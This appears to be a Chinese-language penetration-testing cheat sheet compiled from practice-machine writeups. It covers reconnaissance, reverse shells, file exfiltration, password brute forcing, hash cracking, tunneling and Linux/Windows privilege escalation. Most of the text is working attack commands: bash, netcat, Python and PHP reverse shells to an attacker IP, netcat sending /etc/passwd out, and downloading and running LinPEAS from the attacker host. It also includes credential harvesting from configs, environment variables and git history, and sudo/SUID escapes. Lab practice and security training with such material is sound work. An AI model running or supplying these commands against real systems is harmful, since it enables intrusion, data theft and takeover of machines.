一页式速查。每条命令都来自 14 台靶机的实战 writeup,目录对应 Wiki 分区结构。
侦察
主机发现
arp-scan -l # 局域网 ARP 发现
arp-scan 192.168.1.0/24 # 指定 CIDR
fping -a -g 192.168.1.0/24 # 存活检测,只出 IP
nmap
# 快速
nmap -sC -sV 10.0.0.1 # 默认脚本 + 版本
nmap -p- --min-rate 2000 10.0.0.1 # 全端口,速度优先
nmap -sU --top-ports 50 10.0.0.1 # UDP 常用
# 深入
nmap -p 22,80,3306,445 -sC -sV 10.0.0.1 # 指定端口
nmap -Pn 10.0.0.1 # 跳过 ping
# NSE
nmap --script vuln 10.0.0.1 # 漏洞检测
nmap --script smb-enum-shares # SMB 共享
nmap --script http-enum # Web 枚举
nmap --script ftp-anon # FTP 匿名
nmap --script mysql-empty-password # MySQL 空密码
gobuster
gobuster dir -u http://10.0.0.1 -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.0.1 -w raft-large-words.txt -x php,txt,bak -t 50
gobuster dir -u http://10.0.0.1 -w common.txt -x php,txt -b 404,403
gobuster dns -d example.com -w subdomains-top1million-5000.txt
ffuf
# 目录
ffuf -u http://10.0.0.1/FUZZ -w common.txt
ffuf -u http://10.0.0.1/FUZZ -w wordlist.txt -e .php,.html,.txt
# 参数爆破(发现隐匿 webshell 参数)
ffuf -u "http://10.0.0.1/shell.php?FUZZ=id" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-fs 12 # -fs 过滤基线响应长度
wpscan
wpscan --url http://10.0.0.1/wordpress -e u,vp,vt,ap,at
whatweb
whatweb http://10.0.0.1
whatweb -a 3 http://10.0.0.1 # 激进模式
域名收集
subfinder -d example.com
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u
标准组合链
arp-scan -l
nmap -p- --min-rate 2000 -oN nmap_all.txt 10.0.0.1
nmap -p $(grep open nmap_all.txt | cut -d/ -f1 | tr '\n' ',') -sC -sV 10.0.0.1
gobuster dir -u http://10.0.0.1 -w common.txt -x php,txt
利用
文件传输
# 攻击机起 HTTP
python3 -m http.server 8000
# 目标机下载
wget http://10.0.0.50:8000/tool.sh
curl -O http://10.0.0.50:8000/tool.sh
# 目标机 → 攻击机
nc -lvnp 9999 > recv # 攻击机监听
nc 10.0.0.50 9999 < /etc/passwd # 目标机发送
# SCP
scp user@10.0.0.1:/etc/passwd ./
scp ./exploit user@10.0.0.1:/tmp/
反弹 Shell
# Bash
bash -i >& /dev/tcp/10.0.0.50/4444 0>&1
# nc mkfifo(最通用)
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc 10.0.0.50 4444 > /tmp/f
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.0.0.50",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# PHP
php -r '$s=fsockopen("10.0.0.50",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
# 监听
nc -lvnp 4444
rlwrap nc -lvnp 4444 # 有 readline
反弹 Shell 衍生工具
# Yakit 一键生成
# generate_reverse_shell_command 支持 60+ 种 shell 类型
TTY 升级
# 方案 A:攻击机端
rlwrap nc -lvnp 4444
# 方案 B:script(一行,通用首选)
script /dev/null -c /bin/bash
# 方案 C:Python3 + stty(最完整)
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color
# Ctrl+Z
stty raw -echo; fg
# Enter x2
reset
export SHELL=bash
stty rows 43 columns 155
Webshell 参数盲测
ffuf -u "http://10.0.0.1/shell.php?FUZZ=id" \
-w burp-parameter-names.txt -fs 12
密码爆破 — Hydra
hydra -l user -P rockyou.txt ssh://10.0.0.1
hydra -l admin -P pass.txt ftp://10.0.0.1
hydra -l admin -P pass.txt 10.0.0.1 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
Hash 破解
hashid '<hash>'
hashcat -m 400 hash.txt rockyou.txt # WordPress phpass
hashcat -m 1800 hash.txt rockyou.txt # sha512crypt
john --wordlist=rockyou.txt hash.txt
unshadow /etc/passwd /etc/shadow > combined && john combined.txt
隧道代理
SSH
ssh user@10.0.0.1 # 标准
ssh -i key.pem user@10.0.0.1 # 密钥
ssh -o StrictHostKeyChecking=no user@10.0.0.1 # 跳过指纹
ssh -p 2222 user@10.0.0.1 # 非标端口
# 本地转发(将内网 DB 映射到本地)
ssh -L 3306:internal-db:3306 user@jumphost
mysql -h 127.0.0.1 -P 3306 -u root -p
# 远程转发(将目标 80 反向暴露到攻击机 8080)
ssh -R 8080:localhost:80 user@10.0.0.50
# SOCKS 代理
ssh -D 1080 user@jumphost
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 10.0.0.0/24
chisel
# 服务端(攻击机)
./chisel server -p 8000 --reverse
# 客户端(目标机,暴露 SOCKS)
./chisel client 10.0.0.50:8000 R:socks
# 单端口转发
./chisel client 10.0.0.50:8000 R:3389:localhost:3389
iox
# 服务端(VPS,双端口监听)
./iox proxy -l 50054 -l 1081 -k 3211 &
# 客户端(目标机,转发 SOCKS)
./iox proxy -r VPSIP:50054 -k 3211
# 攻击机配置:socks5://VPS:1081
# 端口转发模式
# VPS
./iox fwd -l *8888 -l 33890 -k 22222
# 目标
./iox fwd -r 127.0.0.1:3389 -r *VPSIP:8888 -k 22222
# 攻击机连接 VPS:33890 = 内网 3389
FRP
# 服务端(VPS)
./frps -c frps.ini
# 客户端(目标机)
./frpc -c frpc.ini
# frpc.ini 示例:
# [common]
# server_addr = VPSIP
# [socks5]
# type = tcp
# remote_port = 10086
# plugin = socks5
提权
自动化收集
# LinPEAS
wget http://10.0.0.50:8000/linpeas.sh -O /tmp/lp.sh
chmod +x /tmp/lp.sh
./lp.sh | tee linpeas.out
# 进程监控
./pspy64
手动枚举
# 用户与权限
id; whoami; uname -a; cat /etc/*release
sudo -l
# SUID
find / -perm -4000 2>/dev/null
find / -perm -2000 2>/dev/null
getcap -r / 2>/dev/null
# 计划任务
crontab -l; cat /etc/crontab; ls -la /etc/cron*
# 进程
ps aux | grep root; netstat -tulpn; ss -tulpn
# 可写
find / -writable -type f 2>/dev/null | grep -v proc | head -20
find / -writable -type d 2>/dev/null | grep -v proc | head -20
# 历史
cat ~/.bash_history; cat /root/.bash_history 2>/dev/null
凭据窃取
# 配置文件
grep -rn "password\|DB_PASS" /var/www --include="*.php" --include="*.conf" 2>/dev/null
cat /var/www/html/wordpress/wp-config.php
# 环境变量
env | grep -i pass
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i pass
# .git
cd /var/www/html && git log -p | grep -i pass
# SSH 密钥
find / -name id_rsa 2>/dev/null
find / -name "*.pem" 2>/dev/null
GTFOBins — sudo 提权
# 先 sudo -l 查看可用命令,然后对照 GTFOBins
# find
sudo find . -exec /bin/bash -p \; -quit
# perl
sudo perl -e 'exec "/bin/sh";'
# python
sudo python3 -c 'import os; os.system("/bin/bash")'
# less
sudo less /etc/passwd
# 按 !/bin/bash
# vim
sudo vim -c ':!/bin/bash'
# awk
sudo awk 'BEGIN {system("/bin/bash")}'
# tar
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
# zip
sudo zip /tmp/t.zip /etc/passwd -T --unzip-command="sh -c /bin/bash"
SUID 提权
# find
find . -exec /bin/bash -p \; -quit
# bash(需要 -p 标志)
bash -p
# 环境变量劫持(sudo 保留 ENV + 脚本引用相对路径)
echo '/bin/bash' > /tmp/service && chmod +x /tmp/service
sudo PATH=/tmp:$PATH /opt/vulnerable_script.sh
内核 Exploit
# 版本识别
uname -a; cat /etc/*release
# 搜索
searchsploit linux kernel 5.4
searchsploit -m 47163
# DirtyPipe (CVE-2022-0847, 5.8~5.16)
./dirtypipe /etc/passwd
Windows 提权速查
whoami /all; systeminfo; whoami /priv
net user; net localgroup administrators
schtasks /query /fo LIST /v
sc query state=all | findstr "SERVICE_NAME"
# Token 模拟技巧
# SeImpersonatePrivilege → JuicyPotato / PrintSpoofer / GodPotato
一条龙
sudo -l; id; uname -a; find / -perm -4000 2>/dev/null | head -20
wget http://10.0.0.50:8000/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh | grep -E "VULN|CVE|SUID|sudo" | head -40
grep -rn "password" /var/www /opt --include="*.php" --include="*.conf" 2>/dev/null | head -10
排错速查
| 症状 | 方案 |
|---|---|
| nmap 极慢 | --min-rate 2000 |
| 目标不响应 ping | nmap -Pn |
| 反弹 Shell 无法 sudo | 先 TTY 升级 |
| hashcat 报 token length | 确认 -m 模式号正确 |
| proxychains 超时 | strict_chain 改 dynamic_chain |
| 终端乱码 | stty sane; reset |